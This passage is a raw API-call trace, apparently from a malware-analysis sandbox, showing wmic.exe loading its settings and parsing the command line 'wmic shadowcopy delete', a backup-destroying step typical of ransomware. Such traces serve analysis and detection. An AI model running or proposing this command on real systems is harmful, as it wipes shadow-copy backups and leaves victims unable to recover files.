(lpString="XDUWTFONO") returned 9 [0055.775] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x1df6d4 | out: lpNameBuffer=0x0, nSize=0x1df6d4) returned 0x0 [0055.777] GetLastError () returned 0xea [0055.777] malloc (_Size=0x40) returned 0x2c2880 [0055.777] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2c2880, nSize=0x1df6d4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x1df6d4) returned 0x1 [0055.777] lstrlenW (lpString="") returned 0 [0055.777] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.777] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0055.779] lstrlenW (lpString=".") returned 1 [0055.779] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.779] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2=".", cchCount2=1) returned 3 [0055.779] lstrlenW (lpString="LOCALHOST") returned 9 [0055.779] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.779] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="LOCALHOST", cchCount2=9) returned 3 [0055.779] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.779] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.779] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="XDUWTFONO", cchCount2=9) returned 2 [0055.779] free (_Block=0x2c2860) [0055.780] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.780] malloc (_Size=0x14) returned 0x2c2860 [0055.780] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.780] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.780] malloc (_Size=0x14) returned 0x2c28c8 [0055.780] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.780] malloc (_Size=0x4) returned 0x2c28e8 [0055.780] malloc (_Size=0xc) returned 0x2c28f8 [0055.780] malloc (_Size=0x18) returned 0x2c2910 [0055.780] malloc (_Size=0xc) returned 0x2c2930 [0055.780] SysStringLen (param_1="IDENTIFY") returned 0x8 [0055.780] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0055.780] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0055.780] SysStringLen (param_1="IDENTIFY") returned 0x8 [0055.780] malloc (_Size=0x18) returned 0x2c2948 [0055.780] malloc (_Size=0xc) returned 0x2c2968 [0055.780] SysStringLen (param_1="IMPERSONATE") returned 0xb [0055.780] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0055.780] SysStringLen (param_1="IMPERSONATE") returned 0xb [0055.780] SysStringLen (param_1="IDENTIFY") returned 0x8 [0055.780] SysStringLen (param_1="IDENTIFY") returned 0x8 [0055.780] SysStringLen (param_1="IMPERSONATE") returned 0xb [0055.780] malloc (_Size=0x18) returned 0x2c2980 [0055.780] malloc (_Size=0xc) returned 0x2c29a0 [0055.781] SysStringLen (param_1="DELEGATE") returned 0x8 [0055.781] SysStringLen (param_1="IDENTIFY") returned 0x8 [0055.781] SysStringLen (param_1="DELEGATE") returned 0x8 [0055.781] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0055.781] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0055.781] SysStringLen (param_1="DELEGATE") returned 0x8 [0055.781] malloc (_Size=0x18) returned 0x2c29b8 [0055.781] malloc (_Size=0xc) returned 0x2c29d8 [0055.781] malloc (_Size=0x18) returned 0x2c29f0 [0055.781] malloc (_Size=0xc) returned 0x2c2a10 [0055.781] SysStringLen (param_1="NONE") returned 0x4 [0055.781] SysStringLen (param_1="DEFAULT") returned 0x7 [0055.781] SysStringLen (param_1="DEFAULT") returned 0x7 [0055.781] SysStringLen (param_1="NONE") returned 0x4 [0055.781] malloc (_Size=0x18) returned 0x2c2a28 [0055.781] malloc (_Size=0xc) returned 0x2c2a48 [0055.782] SysStringLen (param_1="CONNECT") returned 0x7 [0055.782] SysStringLen (param_1="DEFAULT") returned 0x7 [0055.782] malloc (_Size=0x18) returned 0x2c2a60 [0055.782] malloc (_Size=0xc) returned 0x2c2a80 [0055.782] SysStringLen (param_1="CALL") returned 0x4 [0055.782] SysStringLen (param_1="DEFAULT") returned 0x7 [0055.782] SysStringLen (param_1="CALL") returned 0x4 [0055.782] SysStringLen (param_1="CONNECT") returned 0x7 [0055.782] malloc (_Size=0x18) returned 0x2ce868 [0055.782] malloc (_Size=0xc) returned 0x2c2e98 [0055.783] SysStringLen (param_1="PKT") returned 0x3 [0055.783] SysStringLen (param_1="DEFAULT") returned 0x7 [0055.783] SysStringLen (param_1="PKT") returned 0x3 [0055.783] SysStringLen (param_1="NONE") returned 0x4 [0055.783] SysStringLen (param_1="NONE") returned 0x4 [0055.783] SysStringLen (param_1="PKT") returned 0x3 [0055.783] malloc (_Size=0x18) returned 0x2ce888 [0055.783] malloc (_Size=0xc) returned 0x2c2eb0 [0055.783] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0055.783] SysStringLen (param_1="DEFAULT") returned 0x7 [0055.783] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0055.783] SysStringLen (param_1="NONE") returned 0x4 [0055.783] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0055.783] SysStringLen (param_1="PKT") returned 0x3 [0055.783] SysStringLen (param_1="PKT") returned 0x3 [0055.783] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0055.783] malloc (_Size=0x18) returned 0x2ce8a8 [0055.783] malloc (_Size=0xc) returned 0x2c2ec8 [0055.783] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0055.783] SysStringLen (param_1="DEFAULT") returned 0x7 [0055.783] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0055.783] SysStringLen (param_1="PKT") returned 0x3 [0055.783] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0055.783] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0055.783] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0055.783] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0055.783] malloc (_Size=0x18) returned 0x2ce8c8 [0055.784] malloc (_Size=0x40) returned 0x2c2ee0 [0055.784] malloc (_Size=0x20a) returned 0x2c2f28 [0055.784] GetSystemDirectoryW (in: lpBuffer=0x2c2f28, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0055.784] free (_Block=0x2c2f28) [0055.784] malloc (_Size=0xc) returned 0x2c2f28 [0055.784] malloc (_Size=0xc) returned 0x2c2f40 [0055.784] malloc (_Size=0xc) returned 0x2c2f58 [0055.784] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0055.784] SysStringLen (param_1="\\wbem\\") returned 0x6 [0055.784] free (_Block=0x2c2f28) [0055.784] free (_Block=0x2c2f40) [0055.784] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32 [0055.784] free (_Block=0x2c2f58) [0055.784] malloc (_Size=0xc) returned 0x2c2f28 [0055.784] malloc (_Size=0xc) returned 0x2c2f40 [0055.784] malloc (_Size=0xc) returned 0x2c2f58 [0055.784] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19 [0055.784] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0055.784] free (_Block=0x2c2f28) [0055.784] free (_Block=0x2c2f40) [0055.785] GetCurrentThreadId () returned 0xca8 [0055.785] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x1df1f0 | out: phkResult=0x1df1f0*=0x10c) returned 0x0 [0055.785] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x1df1fc, lpcbData=0x1df1f8*=0x400 | out: lpType=0x0, lpData=0x1df1fc*=0x30, lpcbData=0x1df1f8*=0x4) returned 0x0 [0055.785] _wcsicmp (_String1="0", _String2="1") returned -1 [0055.785] _wcsicmp (_String1="0", _String2="2") returned -2 [0055.785] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x1df1f8*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x1df1f8*=0x42) returned 0x0 [0055.785] malloc (_Size=0x86) returned 0x2c2f70 [0055.785] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x2c2f70, lpcbData=0x1df1f8*=0x42 | out: lpType=0x0, lpData=0x2c2f70*=0x25, lpcbData=0x1df1f8*=0x42) returned 0x0 [0055.785] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0055.785] malloc (_Size=0x42) returned 0x2c3000 [0055.785] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0055.785] RegQueryValueExW (in: hKey=0x10c, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x1df1fc, lpcbData=0x1df1f8*=0x400 | out: lpType=0x0, lpData=0x1df1fc*=0x36, lpcbData=0x1df1f8*=0xc) returned 0x0 [0055.785] _wtol (_String="65536") returned 65536 [0055.785] free (_Block=0x2c2f70) [0055.785] RegCloseKey (hKey=0x0) returned 0x6 [0055.786] CoCreateInstance (in: rclsid=0xcd6d40*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xcd6d20*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x1df68c | out: ppv=0x1df68c*=0xc04630) returned 0x0 [0056.612] FreeThreadedDOMDocument:IXMLDOMDocument:Load (in: This=0xc04630, xmlSource=0x1df610*(varType=0x8, wReserved1=0xffff, wReserved2=0x387a, wReserved3=0x7735, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x0), isSuccessful=0x1df674 | out: isSuccessful=0x1df674*=0xffff) returned 0x0 [0066.867] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0xc04630, DOMElement=0x1df688 | out: DOMElement=0x1df688) returned 0x0 [0066.867] malloc (_Size=0xc) returned 0x2c2f28 [0066.867] free (_Block=0x2c2f28) [0066.868] malloc (_Size=0xc) returned 0x2c2f28 [0066.868] free (_Block=0x2c2f28) [0066.868] malloc (_Size=0xc) returned 0x2c2f28 [0066.868] malloc (_Size=0xc) returned 0x2c2f40 [0066.868] malloc (_Size=0x18) returned 0x2ce8e8 [0066.868] malloc (_Size=0xc) returned 0x2c3160 [0066.868] free (_Block=0x2c3160) [0066.869] malloc (_Size=0xc) returned 0x2c3160 [0066.869] malloc (_Size=0xc) returned 0x2c3178 [0066.869] SysStringLen (param_1="VALUE") returned 0x5 [0066.869] SysStringLen (param_1="TABLE") returned 0x5 [0066.869] SysStringLen (param_1="TABLE") returned 0x5 [0066.869] SysStringLen (param_1="VALUE") returned 0x5 [0066.869] malloc (_Size=0x18) returned 0x2ce908 [0066.869] malloc (_Size=0xc) returned 0x2c3190 [0066.869] free (_Block=0x2c3190) [0066.869] malloc (_Size=0xc) returned 0x2cfac8 [0066.869] malloc (_Size=0xc) returned 0x2cfae0 [0066.869] SysStringLen (param_1="LIST") returned 0x4 [0066.869] SysStringLen (param_1="TABLE") returned 0x5 [0066.869] malloc (_Size=0x18) returned 0x2ce928 [0066.870] malloc (_Size=0xc) returned 0x2cfaf8 [0066.870] free (_Block=0x2cfaf8) [0066.870] malloc (_Size=0xc) returned 0x2cfaf8 [0066.870] malloc (_Size=0xc) returned 0x2cfb10 [0066.870] SysStringLen (param_1="RAWXML") returned 0x6 [0066.870] SysStringLen (param_1="TABLE") returned 0x5 [0066.870] SysStringLen (param_1="RAWXML") returned 0x6 [0066.870] SysStringLen (param_1="LIST") returned 0x4 [0066.870] SysStringLen (param_1="LIST") returned 0x4 [0066.870] SysStringLen (param_1="RAWXML") returned 0x6 [0066.870] malloc (_Size=0x18) returned 0x2ce948 [0066.871] malloc (_Size=0xc) returned 0x2cfb28 [0066.871] free (_Block=0x2cfb28) [0066.871] malloc (_Size=0xc) returned 0x2cfb28 [0066.871] malloc (_Size=0xc) returned 0x2cfb40 [0066.871] SysStringLen (param_1="HTABLE") returned 0x6 [0066.871] SysStringLen (param_1="TABLE") returned 0x5 [0066.871] SysStringLen (param_1="HTABLE") returned 0x6 [0066.871] SysStringLen (param_1="LIST") returned 0x4 [0066.871] malloc (_Size=0x18) returned 0x2ce968 [0066.871] malloc (_Size=0xc) returned 0x2cfb58 [0066.871] free (_Block=0x2cfb58) [0066.871] malloc (_Size=0xc) returned 0x2cfb58 [0066.871] malloc (_Size=0xc) returned 0x2cfb70 [0066.872] SysStringLen (param_1="HFORM") returned 0x5 [0066.872] SysStringLen (param_1="TABLE") returned 0x5 [0066.872] SysStringLen (param_1="HFORM") returned 0x5 [0066.872] SysStringLen (param_1="LIST") returned 0x4 [0066.872] SysStringLen (param_1="HFORM") returned 0x5 [0066.872] SysStringLen (param_1="HTABLE") returned 0x6 [0066.872] malloc (_Size=0x18) returned 0x2ce988 [0066.872] malloc (_Size=0xc) returned 0x2cfb88 [0066.872] free (_Block=0x2cfb88) [0066.872] malloc (_Size=0xc) returned 0x2cfb88 [0066.872] malloc (_Size=0xc) returned 0x2cfba0 [0066.872] SysStringLen (param_1="XML") returned 0x3 [0066.872] SysStringLen (param_1="TABLE") returned 0x5 [0066.872] SysStringLen (param_1="XML") returned 0x3 [0066.872] SysStringLen (param_1="VALUE") returned 0x5 [0066.872] SysStringLen (param_1="VALUE") returned 0x5 [0066.872] SysStringLen (param_1="XML") returned 0x3 [0066.872] malloc (_Size=0x18) returned 0x2ce9a8 [0066.873] malloc (_Size=0xc) returned 0x2cfbb8 [0066.873] free (_Block=0x2cfbb8) [0066.873] malloc (_Size=0xc) returned 0x2cfbb8 [0066.873] malloc (_Size=0xc) returned 0x2cfbd0 [0066.873] SysStringLen (param_1="MOF") returned 0x3 [0066.873] SysStringLen (param_1="TABLE") returned 0x5 [0066.873] SysStringLen (param_1="MOF") returned 0x3 [0066.873] SysStringLen (param_1="LIST") returned 0x4 [0066.873] SysStringLen (param_1="MOF") returned 0x3 [0066.873] SysStringLen (param_1="RAWXML") returned 0x6 [0066.873] SysStringLen (param_1="LIST") returned 0x4 [0066.873] SysStringLen (param_1="MOF") returned 0x3 [0066.873] malloc (_Size=0x18) returned 0x2ce9c8 [0066.874] malloc (_Size=0xc) returned 0x2cfbe8 [0066.874] free (_Block=0x2cfbe8) [0066.874] malloc (_Size=0xc) returned 0x2cfbe8 [0066.874] malloc (_Size=0xc) returned 0x2cfc00 [0066.874] SysStringLen (param_1="CSV") returned 0x3 [0066.874] SysStringLen (param_1="TABLE") returned 0x5 [0066.874] SysStringLen (param_1="CSV") returned 0x3 [0066.874] SysStringLen (param_1="LIST") returned 0x4 [0066.874] SysStringLen (param_1="CSV") returned 0x3 [0066.874] SysStringLen (param_1="HTABLE") returned 0x6 [0066.874] SysStringLen (param_1="CSV") returned 0x3 [0066.874] SysStringLen (param_1="HFORM") returned 0x5 [0066.874] malloc (_Size=0x18) returned 0x2ce9e8 [0066.874] malloc (_Size=0xc) returned 0x2cfc18 [0066.874] free (_Block=0x2cfc18) [0066.875] malloc (_Size=0xc) returned 0x2cfc18 [0066.875] malloc (_Size=0xc) returned 0x2cfc30 [0066.875] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0066.875] SysStringLen (param_1="TABLE") returned 0x5 [0066.875] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0066.875] SysStringLen (param_1="VALUE") returned 0x5 [0066.875] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0066.875] SysStringLen (param_1="XML") returned 0x3 [0066.875] SysStringLen (param_1="XML") returned 0x3 [0066.875] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0066.875] malloc (_Size=0x18) returned 0x2cea08 [0066.875] malloc (_Size=0xc) returned 0x2cfc48 [0066.875] free (_Block=0x2cfc48) [0066.875] malloc (_Size=0xc) returned 0x2cfc48 [0066.875] malloc (_Size=0xc) returned 0x2cfc60 [0066.876] SysStringLen (param_1="texttablewsys") returned 0xd [0066.876] SysStringLen (param_1="TABLE") returned 0x5 [0066.876] SysStringLen (param_1="texttablewsys") returned 0xd [0066.876] SysStringLen (param_1="XML") returned 0x3 [0066.876] SysStringLen (param_1="texttablewsys") returned 0xd [0066.876] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0066.876] SysStringLen (param_1="XML") returned 0x3 [0066.876] SysStringLen (param_1="texttablewsys") returned 0xd [0066.876] malloc (_Size=0x18) returned 0x2cea28 [0066.876] malloc (_Size=0xc) returned 0x2cfc78 [0066.876] free (_Block=0x2cfc78) [0066.876] malloc (_Size=0xc) returned 0x2cfc78 [0066.876] malloc (_Size=0xc) returned 0x2cfc90 [0066.876] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0066.876] SysStringLen (param_1="TABLE") returned 0x5 [0066.876] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0066.876] SysStringLen (param_1="XML") returned 0x3 [0066.876] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0066.876] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0066.876] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0066.877] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0066.877] malloc (_Size=0x18) returned 0x2cea48 [0066.877] malloc (_Size=0xc) returned 0x2cfca8 [0066.877] free (_Block=0x2cfca8) [0066.877] malloc (_Size=0xc) returned 0x2cfca8 [0066.877] malloc (_Size=0xc) returned 0x2cfcc0 [0066.877] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0066.877] SysStringLen (param_1="TABLE") returned 0x5 [0066.877] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0066.877] SysStringLen (param_1="XML") returned 0x3 [0066.877] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0066.877] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0066.877] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0066.877] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0066.877] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0066.877] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0066.877] malloc (_Size=0x18) returned 0x2cea68 [0066.878] malloc (_Size=0xc) returned 0x2cfcd8 [0066.878] free (_Block=0x2cfcd8) [0066.878] malloc (_Size=0xc) returned 0x2cfcd8 [0066.878] malloc (_Size=0xc) returned 0x2cfcf0 [0066.878] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0066.878] SysStringLen (param_1="TABLE") returned 0x5 [0066.878] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0066.878] SysStringLen (param_1="XML") returned 0x3 [0066.878] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0066.878] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0066.878] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0066.878] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0066.878] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0066.878] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0066.878] malloc (_Size=0x18) returned 0x2cea88 [0066.879] malloc (_Size=0xc) returned 0x2cfd08 [0066.879] free (_Block=0x2cfd08) [0066.879] malloc (_Size=0xc) returned 0x2cfd08 [0066.879] malloc (_Size=0xc) returned 0x2cfd20 [0066.879] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0066.879] SysStringLen (param_1="TABLE") returned 0x5 [0066.879] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0066.879] SysStringLen (param_1="XML") returned 0x3 [0066.879] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0066.879] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0066.879] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0066.879] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0066.879] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0066.879] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0066.879] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0066.879] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0066.879] malloc (_Size=0x18) returned 0x2ceaa8 [0066.880] malloc (_Size=0xc) returned 0x2cfd38 [0066.880] free (_Block=0x2cfd38) [0066.880] malloc (_Size=0xc) returned 0x2cfd38 [0066.880] malloc (_Size=0xc) returned 0x2cfd50 [0066.880] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0066.880] SysStringLen (param_1="TABLE") returned 0x5 [0066.880] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0066.880] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0066.880] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0066.880] SysStringLen (param_1="XML") returned 0x3 [0066.880] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0066.880] SysStringLen (param_1="texttablewsys") returned 0xd [0066.880] SysStringLen (param_1="XML") returned 0x3 [0066.880] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0066.880] malloc (_Size=0x18) returned 0x2ceac8 [0066.881] malloc (_Size=0xc) returned 0x2cfd68 [0066.881] free (_Block=0x2cfd68) [0066.881] malloc (_Size=0xc) returned 0x2cfd68 [0066.881] malloc (_Size=0xc) returned 0x2cfd80 [0066.881] SysStringLen (param_1="htable-sortby") returned 0xd [0066.881] SysStringLen (param_1="TABLE") returned 0x5 [0066.881] SysStringLen (param_1="htable-sortby") returned 0xd [0066.881] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0066.881] SysStringLen (param_1="htable-sortby") returned 0xd [0066.881] SysStringLen (param_1="XML") returned 0x3 [0066.881] SysStringLen (param_1="htable-sortby") returned 0xd [0066.881] SysStringLen (param_1="texttablewsys") returned 0xd [0066.881] SysStringLen (param_1="htable-sortby") returned 0xd [0066.881] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0066.881] SysStringLen (param_1="XML") returned 0x3 [0066.881] SysStringLen (param_1="htable-sortby") returned 0xd [0066.881] malloc (_Size=0x18) returned 0x2ceae8 [0066.881] malloc (_Size=0xc) returned 0x2cfd98 [0066.882] free (_Block=0x2cfd98) [0066.882] malloc (_Size=0xc) returned 0x2cfd98 [0066.882] malloc (_Size=0xc) returned 0x2cfdb0 [0066.882] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0066.882] SysStringLen (param_1="TABLE") returned 0x5 [0066.882] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0066.882] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0066.882] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0066.882] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0066.882] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0066.882] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0066.882] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0066.882] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0066.882] malloc (_Size=0x18) returned 0x2ceb08 [0066.882] malloc (_Size=0xc) returned 0x2cfdc8 [0066.882] free (_Block=0x2cfdc8) [0066.883] malloc (_Size=0xc) returned 0x2cfdc8 [0066.883] malloc (_Size=0xc) returned 0x2cfde0 [0066.883] SysStringLen (param_1="wmiclimofformat") returned 0xf [0066.883] SysStringLen (param_1="TABLE") returned 0x5 [0066.883] SysStringLen (param_1="wmiclimofformat") returned 0xf [0066.883] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0066.883] SysStringLen (param_1="wmiclimofformat") returned 0xf [0066.883] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0066.883] SysStringLen (param_1="wmiclimofformat") returned 0xf [0066.883] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0066.883] SysStringLen (param_1="wmiclimofformat") returned 0xf [0066.883] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0066.883] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0066.883] SysStringLen (param_1="wmiclimofformat") returned 0xf [0066.883] malloc (_Size=0x18) returned 0x2ceb28 [0066.883] malloc (_Size=0xc) returned 0x2cfdf8 [0066.883] free (_Block=0x2cfdf8) [0066.883] malloc (_Size=0xc) returned 0x2cfdf8 [0066.884] malloc (_Size=0xc) returned 0x2cfe10 [0066.884] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0066.884] SysStringLen (param_1="TABLE") returned 0x5 [0066.884] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0066.884] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0066.884] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0066.884] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0066.884] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0066.884] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0066.884] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0066.884] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0066.884] malloc (_Size=0x18) returned 0x2ceb48 [0066.884] malloc (_Size=0xc) returned 0x2cfe28 [0066.884] free (_Block=0x2cfe28) [0066.884] malloc (_Size=0xc) returned 0x2cfe28 [0066.884] malloc (_Size=0xc) returned 0x2cfe40 [0066.885] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0066.885] SysStringLen (param_1="TABLE") returned 0x5 [0066.885] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0066.885] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0066.885] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0066.885] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0066.885] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0066.885] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0066.885] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0066.885] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0066.885] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0066.885] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0066.885] malloc (_Size=0x18) returned 0x2ceb68 [0066.885] FreeThreadedDOMDocument:IUnknown:Release (This=0xc04630) returned 0x0 [0066.885] free (_Block=0x2c2f58) [0066.885] GetCommandLineW () returned="wmic shadowcopy delete" [0066.885] malloc (_Size=0x30) returned 0x2c3190 [0066.885] memcpy_s (in: _Destination=0x2c3190, _DestinationSize=0x2e, _Source=0x581976, _SourceSize=0x2e | out: _Destination=0x2c3190) returned 0x0 [0066.885] malloc (_Size=0xc) returned 0x2cfe58 [0066.886] malloc (_Size=0xc) returned 0x2cfe70 [0066.886] malloc (_Size=0xc) returned 0x2cfe88 [0066.886] malloc (_Size=0xc) returned 0x2642060 [0066.886] malloc (_Size=0x80) returned 0x26405b0 [0066.886] GetLocalTime (in: lpSystemTime=0x1df650 | out: lpSystemTime=0x1df650*(wYear=0x7e4, wMonth=0x2, wDayOfWeek=0x2, wDay=0xb, wHour=0x10, wMinute=0x28, wSecond=0x3, wMilliseconds=0x316)) [0066.886] _vsnwprintf (in: _Buffer=0x26405b0, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x1df630 | out: _Buffer="02-11-2020T16:40:03") returned 19 [0066.886] lstrlenW (lpString=" shadowcopy delete") returned 19 [0066.886] malloc (_Size=0x28) returned 0x2c31c8 [0066.886] lstrlenW (lpString=" shadowcopy delete") returned 19 [0066.886] lstrlenW (lpString=" shadowcopy delete") returned 19 [0066.886] malloc (_Size=0x28) returned 0x2c31f8 [0066.886] lstrlenW (lpString=" shadowcopy delete") returned 19 [0066.886] lstrlenW (lpString=" shadowcopy delete") returned 19 [0066.886] lstrlenW (lpString=" shadowcopy delete") returned 19 [0066.886] malloc (_Size=0x16) returned 0x2ceb88 [0066.886] lstrlenW (lpString="shadowcopy") returned 10 [0066.886] _wcsicmp (_String1="shadowcopy", _String2="\"NULL\"") returned 81 [0066.886] malloc (_Size=0x16) returned 0x2ceba8 [0066.886] malloc (_Size=0x4) returned 0x2c3228 [0066.886] free (_Block=0x0) [0066.886] free (_Block=0x2ceb88) [0066.886] lstrlenW (lpString=" shadowcopy delete") returned 19 [0066.886] malloc (_Size=0xe) returned 0x2642078 [0066.886] lstrlenW (lpString="delete") returned 6 [0066.886] _wcsicmp (_String1="delete", _String2="\"NULL\"") returned 66 [0066.886] malloc (_Size=0xe) returned 0x2642090 [0066.886] malloc (_Size=0x8) returned 0x2c2f58 [0066.886] memmove_s (in: _Destination=0x2c2f58, _DestinationSize=0x4, _Source=0x2c3228, _SourceSize=0x4 | out: _Destination=0x2c2f58) returned 0x0 [0066.886] free (_Block=0x2c3228) [0066.886] free (_Block=0x0) [0066.887] free (_Block=0x2642078) 